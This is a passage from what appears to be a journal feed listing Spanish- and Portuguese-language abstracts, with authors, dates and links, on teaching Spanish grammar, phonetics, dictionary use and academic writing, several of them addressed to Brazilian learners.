resulta indispensable para manejarse exitosamente en la comunidad académica, en la que sus miembros no solo comparten prácticas discursivas, sino que también conocen las particularidades de los diversos géneros que circulan en ese ámbito.</p> <p>Ahora bien, la práctica de la escritura no resulta ser una actividad para nada sencilla. Más aun si debemos adecuarla a una discursividad tan específica. En las últimas décadas han surgido diversas investigaciones (Milián y Camps 2000; Carlino 2005; Arnoux 2009) que se han ocupado de estudiar, caracterizar y hacer aportaciones sobre la escritura académica. Paralelamente, se ha detectado que los estudiantes que incursionan en los niveles universitarios presentan ciertas dificultades para manejarse con la solvencia necesaria para desenvolverse según los requerimientos que esta comunidad discursiva exige.</p> <p>En esta comunicación me ocuparé de rastrear, en trabajos de escritura de alumnos del Ciclo Básico Común de la UBA, problemas relacionados con, por un lado, la construcción sintáctica de párrafos y, por otro, con la recuperación de la referencialidad dentro del texto. Mi trabajo parte de la idea de que el desconocimiento instrumental de ciertas nociones gramaticales (pronombres, concordancia, verbos) interfiere en la producción de una escritura adecuada. Estas carencias, que no les permiten desenvolverse en el ámbito académico con éxito, implican que, en la enseñanza, lejos de ignorarla, merece prestarse especial atención a la gramática como herramienta lingüística y cognitiva que colabora eficazmente con el desarrollo de las habilidades de escritura.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3271 El uso del diccionario y el Enfoque por Tareas en la clase de español como lengua extranjera. 2015-10-02T16:44:08+00:00 Lígia De Grandi liprofundamente@yahoo.com.br <p>Partimos del principio que el diccionario es una herramienta didáctica que puede darle al estudiante autonomía de estudio y de aprendizaje. Así, proponemos elaborar tareas comunicativas que motiven el uso del diccionario y que privilegien la comunicación en situaciones del cotidiano en las habilidades de expresión oral y escrita; compresión lectora y auditiva; además de otras habilidades que ese tipo de actividad agrega al alumno como aprender a planificar lo que hará desde un tema y comunicarse en situaciones de improvisación. En estos casos, si se usa el diccionario, el aprendiz podrá practicar también otros elementos lingüísticos como el sistema de la lengua de manera más natural, por eso es necesario que el alumno sepa explotar la obra lexicográfica. Para la realización de este trabajo serán propuestas actividades comunicativas con el propósito de potenciar el aprendizaje de vocabulario en lengua española en la enseñanza brasileña (Ensino Médio - jóvenes de 15 a 17 años). Para la elaboración de las actividades empezaremos por el Enfoque por Tareas, una de las posibilidades metodológicas de la Enseñanza Comunicativa.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3280 El uso de las expresiones artísticas en el proceso de enseñanza contextualizada de la gramática española en las escuelas públicas 2015-10-02T16:44:08+00:00 Roseli da Costa Silva rosysilva0@yahoo.com.br <p>Este estudio investiga la enseñanza de la gramática española en el contexto de la realidad de los estudiantes de escuelas públicas. El objetivo principal es investigar cómo el uso de las manifestaciones artísticas de los estudiantes de la enseñanza básica de escuelas públicas, pueden ayudar en el aprendizaje de la gramática española, en contextualización con la realidad en que viven. El aprendizaje del idioma español es muy importante pues es uno de los idiomas más hablados en el mundo y está en el contexto de la necesidad brasileña en acuerdo con los países de Mercosur. Suponiendo que el principal interés de los jóvenes para aprender un idioma es la oralidad, este trabajo, encontrando en la cultura española, varias características de su diversidad, lo que alienta las manifestaciones artísticas de los estudiantes y, en consecuencia, el aprendizaje de la habla y de la escritura. Se concluye que a través de eventos artísticos, los estudiantes pueden asimilar el contenido gramatical tan dinámica, interactiva y divertida, facilitando el proceso cognitivo.<strong> </strong></p> <p> </p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3274 Dificultades fonéticas de los aprendices brasileños en el aprendizaje de español como lengua extranjera 2015-10-02T16:44:08+00:00 Talita dos Santos Gonçalves talitafpele@gmail.com Cristiane Capozzi Pavani criscapozzi@hotmail.com <p>En este trabajo se explorarán las dificultades fonéticas que los aprendices brasileños enfrentan en el aprendizaje de español como lengua extranjera – ELE. Así, serán identificadas y analizadas las principales dificultades en la producción de los fonemas de la lengua española. Alcanzar una buena pronunciación en ELE no es una tarea fácil, incluso cuando se trata de personas que hablan una lengua materna semejante, como es el caso de los hablantes de portugués. La proximidad, entre los dos sistemas, proporciona la sensación de que la lengua puede ser de fácil comprensión y reproducción, pero en los dos casos, esta proximidad, a veces, impide que los aprendices tengan una buena pronunciación de la lengua española. De acuerdo con Listerri (2003), <em>“se debe priorizar la enseñanza de la fonética, de la pronunciación y la corrección fonética”</em>, para que los aprendientes puedan obtener éxito en el aprendizaje de la lengua extranjera - LE. El interés para la elaboración de esta ponencia y estudio nació al notarse que tanto los aprendices más experimentados como los más principiantes del curso de Letras Portugués – Español de la Universidad Federal del Pampa (UNIPAMPA - Jaguarão) presentan dificultades al pronunciar y, supuestamente, aprender algunos fonemas. Se supone que les falta a los alumnos una exposición mayor a la lengua y un uso más frecuente y eficiente. Esta ponencia busca informaciones sobre “los obstáculos que surgen en el aprendizaje en ELE”. Para Mori (2003), <em>“El conocimiento de la fonología contribuye para el aprendizaje de la lengua extranjera.”</em> La metodología para esta investigación está compuesta por una actividad práctica, donde seis aprendices fueron seleccionados para contestar un cuestionario con siete actividades, pero solo la última será analizada en este trabajo ya que se refiere a la producción de sonidos en lengua española. Esta parte del cuestionario fue grabada para posterior análisis. El instrumento fue aplicado en una sesión. Los participantes tienen entre 21 a 28 años - tres son naturales de la ciudad de Jaguarão y los demás de otras regiones brasileñas. Se percibe que las dificultades de los estudiantes empiezan con el distanciamiento en relación a ELE, pues tienen un contacto insuficiente con la lengua. Para la mayoría de los aprendices, lo que retrasa el aprendizaje es el hecho que se les ofrecen pocas horas semanales de lengua española. Esto dificulta la familiaridad y proximidad con los sonidos de la lengua. En general, la proximidad entre las lenguas parece un obstáculo para el aprendiente, pues parece que él no deja a un lado los sonidos de su lengua materna. De esta manera, una omisión por parte del profesor puede llevar al alumno a la fijación de sonidos equivocados. En suma, la enseñanza del español para esos alumnos debe ser seguida con mucha atención para que no permanezcan en una <em>interlengua</em> (Santos Gargallo, 2003), donde los alumnos mezclan los dos códigos.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3272 La enseñanza de la normativa española en L1 y L2 2015-10-02T16:44:08+00:00 Andrea Estrada andreamariaestrada@gmail.com Gladys Berisso gladysberisso@gmail.com <p>En esta comunicación, intentamos ampliar la reflexión sobre el papel de la normativa en la enseñanza de la lengua española. En un trabajo anterior, nos concentramos en el caso concreto del español como L2 y en la necesidad de incorporar a la clase la reflexión sobre el error, en virtud de que los aprendices, al estar en situación endolingüe de aprendizaje, conviven con transgresiones a la norma que son propias de la variedad rioplatense oral y que difieren de lo que han aprendido en el aula. Entonces, en la enseñanza de español como L2, el énfasis está puesto en la corrección de aquellos errores que poseen trascendencia comunicativa, es decir, que afectan la comunicación correcta y fluida. Distinto es el caso de la enseñanza de la norma a hablantes nativos en el ámbito de la industria editorial, correctores y profesionales de la lengua, para los cuales un óptimo desempeño profesional exige el conocimiento exhaustivo de la gramática de la lengua española (reglas morfosintácticas, normas ortográficas, etc.) y de los aspectos textuales del discurso escrito (cohesión, coherencia y adecuación). Sin embargo, y dado que, tal como señala Gutiérrez Ordóñez, “la corrección de una época no hace sino consagrar las incorrecciones de la época precedente”, es necesario incorporar a la enseñanza de la normativa una reflexión lingüística más amplia que permita a los correctores profesionales fundamentar sus enmiendas adecuadamente.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3273 Creatividad y Gramática: una propuesta posible de concretizarse 2015-10-02T16:44:08+00:00 Carla Aguiar Falcão carla.falcao@gmail.com Girlene Moreira da Silva girlene.moreira@gmail.com Juliana Kelle da Silva Freire juliana.freire@ifrn.edu.br <p>Hace mucho que se discute respecto a la enseñanza de la gramática y cómo el profesor imparte sus clases. También se cuestiona si los aspectos gramaticales posibilitan a los estudiantes de E/LE el desarrollo de la competencia lingüística para que se comuniquen en otro idioma. Este artículo reflexiona sobre la enseñanza de gramática desde un punto de vista histórico y propone nuevas maneras de enseñarla. No hay fórmulas cuando se trata de enseñanza, hay solo tres puntos que posibilitan que la enseñanza/aprendizaje sea efectiva: <em>buena formación</em>, <em>sentido común</em> y <em>buena calidad didáctica</em> por parte de los profesores (Vieira, 2009, p. 79). La relevancia de este trabajo está en la reflexión de las estrategias utilizadas en sala, de forma que contribuyan con el aprendizaje de los estudiantes. Esta investigación será de cuño bibliográfico, basado en diversos teóricos, como: Possenti (2011) y Vieira (2009), que tratan de la enseñanza de la gramática; Perraudeau (2009), que aborda las estrategias de aprendizaje; Antunes (2007), que defiende que la escuela debe enseñar y ofrecer al alumno condiciones para que haga uso de la lengua de acuerdo con la situación vivida; Franchi (2006), que discute acerca de la creatividad y gramática, y por último Perini (2000), que hace una reflexión sobre la enseñanza de la gramática en Brasil. Esperamos que con esta investigación los profesores reflexionen sobre sus prácticas educativas y que puedan superar los desafíos de enseñar gramática en las clases de E/LE.</p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3275 La contribución de la Nueva gramática de la RAE en la renovación de la enseñanza de la gramática en la escuela secundaria 2015-10-02T16:44:08+00:00 María Rita Soledad Guevara- mrisg@hotmail.com.ar Claudia Beatriz Coronel claudia.coronel@usal.edu.ar <p>En los últimos años se ha reabierto la discusión en torno a la importancia de la enseñanza de la gramática en la escuela. Las críticas vertidas sobre la efectividad de los modelos de enseñanza de la lengua que han imperado en la educación formal desde el advenimiento de la Ley Federal de Educación y la implementación del enfoque comunicativo de la lengua, predispuso nuevamente el camino para el reingreso de la gramática en la currícula de forma prioritaria. En el planteo de esta situación existen diversas posturas actualmente, sin embargo, la balanza comienza a inclinarse por la reincorporación de la gramática y, cuando esto sucede, se presenta acompañado de un cuestionamiento fundamental: ¿qué gramática se debe enseñar? Desde la publicación de la <em>Nueva</em><em> gramática de la lengua española </em>de la Real Academia Española, es posible pensar que se cuenta con un material importante que resulta de singular interés al momento de plantearse una alternativa a las gramáticas didácticas que han circulado en nuestro medio. En este trabajo nos centraremos en plantear las dificultades con las que se puede encontrar el docente para implementar esta nueva gramática, así como las características que hacen de ella un material imprescindible y vasto para una renovación de la gramática en la escuela.</p> <div><br /> <hr size="1" /><div><p> </p> <p> </p> <p> </p> <p> </p></div></div> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3276 La información gramatical en los diccionarios de aprendizaje del español: el caso de las construcciones con verbos de soporte 2015-10-02T16:44:08+00:00 María Victoria Magariños victoriamagarinos@gmail.com <p>En este trabajo se revisa una serie de definiciones de construcciones con verbos de soporte (CVS) ofrecidas por diccionarios de aprendizaje del español, con el fin de determinar si la información gramatical allí provista podría permitir al usuario, además de descodificar el sentido, generar enunciados bien formados y significativos. Se enfocará en la presentación lexicográfica de las CVS ya que, por sus características léxico-semánticas, sintácticas y pragmáticas, y por su alta frecuencia de uso, plantean desafíos especiales para el lexicógrafo y el aprendiente. Estas combinaciones están formadas por un verbo (típicamente <em>dar</em>, <em>hacer</em>, <em>tener</em> y <em>tomar</em>) y un complemento nominal, donde el nombre es eventivo o puede recibir una interpretación eventiva, y el verbo es lo suficientemente flexible como para adecuar su denotación en función del significado del nombre con que se combina. Desde el punto de vista sintáctico, las CVS se caracterizan porque su estructura argumental depende del nombre, que asigna los roles temáticos. Asimismo, estas combinaciones pueden presentar distintos grados de opacidad sintáctica y configurarse como combinaciones libres, colocaciones o locuciones. Se observará si las definiciones analizadas contienen información gramatical explícita o implícita que capture las características mencionadas y permita la utilización adecuada de las CVS. Se parte de la hipótesis de que, en general, la información gramatical se presenta en los diccionarios de manera poco sistemática e incompleta. Se propondrán algunos criterios que permitan mejorar la presentación lexicográfica y pedagógica de estas estructuras.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3302 Variedad lingüística y fonética en el aula de ELE 2017-11-22T11:28:56+00:00 Eliana S. Oro Ozan oeoro@unsl.edu.ar Lidia del Carmen Unger lunger@unsl.edu.ar Jackeline Miazzo jmiazzo@unsl.edu.ar <p>En este trabajo nos proponemos reflexionar acerca del abordaje de la variedad lingüística en la enseñanza de la fonética del español. El alumno extranjero está inmerso e interactúa en una comunidad lingüística determinada que debería ser considerada a la hora de la enseñanza de ELE. Siguiendo el planteo de Acuña (2009), acordamos en que existe una diversidad cultural que el alumno extranjero debe conocer para lograr una mejor integración en la comunidad en la que vive. Con respecto a la variedad lingüística específica de San Luis, contamos con los estudios realizados por Vidal de Battini (1949, 1964) en los que se describen diferentes niveles de la lengua, tales como fonético, morfológico y sintáctico. En este trabajo, nuestro interés se centra en el lugar que ocupa el aspecto fonético en la enseñanza de ELE; concretamente la pronunciación regional que corresponde a la vibrante simple y doble.<em> </em>En este contexto,<em> </em>se espera que los alumnos extranjeros que aprenden español en San Luis, identifiquen las particularidades fonéticas propias de la variedad sanluiseña. Una propuesta didáctica sobre el tema abordado podría implementarse a través de muestras de lengua de material auténtico (programas radiales y televisivos locales) y la posibilidad concreta de interacción con hablantes nativos por medio de actividades enmarcadas en el enfoque por tareas. Si bien asumimos la importancia de los rasgos fonéticos en la comprensión de la variedad, adherimos a los estudios que no priorizan la fonética a nivel de la producción, tal como lo proponen los fundamentos del Examen de Certificación de español, lengua y uso (CELU).<strong></strong></p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3278 Las construcciones personales de Infinitivo en portugués. Un análisis en relación con la enseñanza de español como L2 2015-10-02T16:44:08+00:00 Silvina Lorena Palillo silvinapalillo@yahoo.com.ar <p>En el presente trabajo se abordará una de las dificultades relacionada con la adquisición del español como segunda lengua en el caso de lusohablantes: la que se genera al intentar producir estructuras de infinitivo con flexión en la lengua española.</p> <p>La lengua portuguesa presenta una particularidad gramatical que no se registra en la lengua española: nos referimos puntualmente a la flexión del infinitivo. Este infinitivo con flexión – llamado generalmente <em>infinitivo pessoal</em> – presenta desinencias de persona gramatical y se emplea – en el caso de oraciones subordinadas (<em>reduzidas</em>)- con una estructura particular: preposición + infinitivo + desinencias de persona. Esta construcción alterna con la subordinada <em>desenvolvida</em>, es decir, la que emplea conjunción + verbo en subjuntivo. No obstante, los hablantes suelen utilizar con mayor frecuencia la primera.</p> <p>En este trabajo, en primer lugar, se describirán las posibilidades de expresión sintáctica de oraciones subordinadas adverbiales finales en portugués y en español. Luego, se analizarán algunas estructuras producidas por lusohablantes en las primeras clases de español como segunda lengua. Por último, se hará una breve mención a la problemática de la transparencia lingüística.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3279 Gramática y libros de texto, o para qué estudiar análisis sintáctico en la escuela secundaria 2015-10-02T16:44:08+00:00 Ana Laura Prado prado.analaura@gmail.com <p>Me propongo en esta ponencia analizar el tratamiento de la sintaxis en el área de Lengua y Literatura en los primeros años de la escuela secundaria, centrando mi atención en los libros de texto actualmente en uso.</p> <p>A raíz de la reforma educativa operada por la Ley Nacional de Educación Nº 26.206, han tenido lugar diversos debates en relación a la función asignada para la gramática en el currículum escolar. No solo el descontento respecto del enfoque comunicativo propuesto por la reforma de mediados de los noventa, que reducía la reflexión gramatical a fines meramente prácticos vinculados a la revisión de textos escritos, sino también los avances significativos en la lingüística, ponen en evidencia el potencial que contendría la reformulación de una didáctica en la que la gramática se halle integrada en el currículum en cuanto saber específico. Es posible observar que, más de allá de los actuales aportes en relación a la teoría sintáctica, las propuestas de los libros de textos no comportan una verdadera ruptura con los enfoques tradicionales, sino que éstos siguen vigentes sin lograr una verdadera articulación con el resto de los contenidos curriculares ni constituirse como herramientas que estimulen y fortalezcan el pensamiento. Por otro lado, teniendo en cuenta el lugar central que se les suele conceder a los libros de textos dentro de las aulas, creo necesario revisar las perspectivas que éstos ofrecen en torno a la sintaxis, la cual tradicionalmente ha sido de difícil articulación y significación en el ámbito de la didáctica de la lengua materna.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3281 A compreensão auditiva em aulas de língua espanhola como língua estrangeira 2015-10-15T15:02:22+00:00 María Ester Rosa da Silva esterjag@gmail.com Talita dos Santos Gonçalves talitafpele@gmail.com <p>Este trabalho propõe-se investigar a compreensão de um texto oral por aprendizes brasileiros de Espanhol como Língua Estrangeira – ELE, através de inferências e estruturas linguísticas produzidas pelos participantes. Graham (2006) afirma que a compreensão auditiva é a destreza mais difícil na aprendizagem de uma língua estrangeira. O estudo de Long (1990), com aprendizes de ELE, indicou que eles compreendiam melhor um texto oral quando tinham conhecimento prévio sobre o tema. A metodologia de pesquisa consiste na elaboração de um questionário para os professores de espanhol do curso de Licenciatura em Letras Português - Espanhol da Universidade Federal do Pampa – campus Jaguarão, para saber como ensinam essa habilidade. Além dos professores do campus mencionado, dois alunos de cada semestre (oito alunos) também participaram da pesquisa. Para os alunos, foi apresentado um texto na modalidade oral em língua espanhola. O texto versa sobre <em>o que é um gene?. </em>Os alunos ouviram o texto duas vezes, sem interrupção. Esses participantes responderam por escrito o que compreenderam do texto. Os participantes têm entre 20 a 35 anos, são naturais da cidade de Jaguarão e estudam pela primeira vez em um curso de língua estrangeira. Os participantes do primeiro semestre demonstram mais dificuldades de domínio da língua, enquanto os dos últimos semestres mostram dificuldades relacionadas ao tema do texto.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3282 Estrategias para la didáctica del pronombre en el nivel universitario 2015-10-02T16:44:08+00:00 Juan Pablo Spina juan.spina@usal.edu.ar <p>Los pronombres constituyen una clase heterogénea difícil de definir y de clasificar. Su estudio ha generado (y genera) controversias. El objetivo de este trabajo es reflexionar sobre cómo la aplicación de distintas estrategias didácticas puede enriquecer la enseñanza de los pronombres en el nivel universitario. En primer lugar, expondremos brevemente varias definiciones y clasificaciones de este tipo de palabra. En segundo lugar, reflexionaremos sobre las dificultades para la enseñanza de los pronombres. Finalmente, expondremos distintas estrategias didácticas para la del pronombre en el nivel universitario.</p> 2015-09-30T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3250 El lugar conflictivo de la gramática: Aportes de la didáctica del español como lengua segunda a la didáctica del español como lengua materna 2015-10-02T16:44:08+00:00 Adriana Coscarelli adriana.coscarelli@gmail.com <p>Si bien en las últimas décadas se produjeron cambios en la didáctica de la lengua conforme se fueron imponiendo diferentes paradigmas -desde la gramática tradicional y el estructuralismo hasta la gramática generativa, la gramática textual y el enfoque comunicativo-, el lugar de la gramática en las clases de español como lengua materna sigue siendo conflictivo. A pesar del acuerdo entre docentes y especialistas acerca de su importancia para la comprensión y producción de textos, la gramática ha sido relegada en manuales, programas y aulas. Es en este sentido que nuestro trabajo intentará avanzar, reposicionando la gramática de nuestro idioma ante la “gramática escolar”, y difundiendo algunas prácticas realizadas en el marco de investigaciones que toman como modelo las Secuencias Didácticas de Gramática (Camps y Zayas, 2006). En estas se prioriza la implicación activa de los alumnos en el razonamiento gramatical tendiente a la internalización del funcionamiento del sistema lingüístico, y se destaca la importancia de la interacción en el proceso de construcción del aprendizaje (Vygotski, 1995). Creemos que ello nos permitirá capitalizar ciertos préstamos de la didáctica del español como lengua extranjera -el enfoque funcional comunicativo, la práctica en situaciones de uso, la observación de ciertos contenidos gramaticales más frecuentes en determinados tipos de textos-; recuperar la lengua utilizada por nuestros alumnos con sus problemáticas y dificultades; colaborar en el desarrollo de una gramática apropiada, requerida en situaciones comunicativas de registro formal, escolarizado, fuertemente normado, como es el caso de la producción de textos académicos.</p><p> </p> 2015-09-29T00:00:00+00:00 Derechos de autor https://p3.usal.edu.ar/index.php/elesup/article/view/3251 Proyecto Integrador: una experiencia interdisciplinar de los licenciandos de español del IFRN 2015-10-02T16:44:08+00:00 Carla Aguiar Falcão carla.falcao@gmail.com Girlene Moreira da Silva girlene.moreira@gmail.com Juliana Kelle da Silva Freire juliana.freire@ifrn.edu.br <p>La interdisciplinaridad es comúnmente citada como una forma de desarrollar un trabajo de integración de contenidos de una asignatura con otras áreas de conocimiento y posibilitar la formulación de un saber crítico reflexivo. En el curso de Licenciatura em Espanhol do Instituto Federal de Educação, Ciências e Tecnologia do Rio Grande do Norte – IFRN esa experiencia interdisciplinar ocurre a través de una actividad nombrada Proyecto Integrador. Esa práctica se realiza en el 3°, 4° y 5° periodo del curso, siendo iniciada y concluida dentro de un mismo período lectivo, y tiene como objetivo el involucramiento de profesores y alumnos en la búsqueda de realización de un trabajo que integre los contenidos ministrados en las asignaturas. Ese proyecto estimula y valora la investigación y el trabajo individual y colectivo, promoviendo la reflexión y la tomada de decisiones más adecuadas a la formación docente. Esa práctica, sin embargo, exige una postura del profesor que va más allá de lo que está descrito en los PCN’s, pues es necesario que él asuma una actitud endógena y que haga uso de metodologías didácticas adecuadas para esa perspectiva. Ese trabajo busca relatar la experiencia de los Proyectos Integradores del curso de Licenciatura en Español del IFRN, presentando los principios adoptados y la metodología utilizada, bien como los resultados obtenidos, al paso que busca estimular la reflexión de los sujetos envueltos en el proceso de enseñanza/aprendizaje sobre la importancia y las dificultades de la realización de un trabajo interdisciplinar.</p> 2015-09-29T00:00:00+00:00 Derechos de autor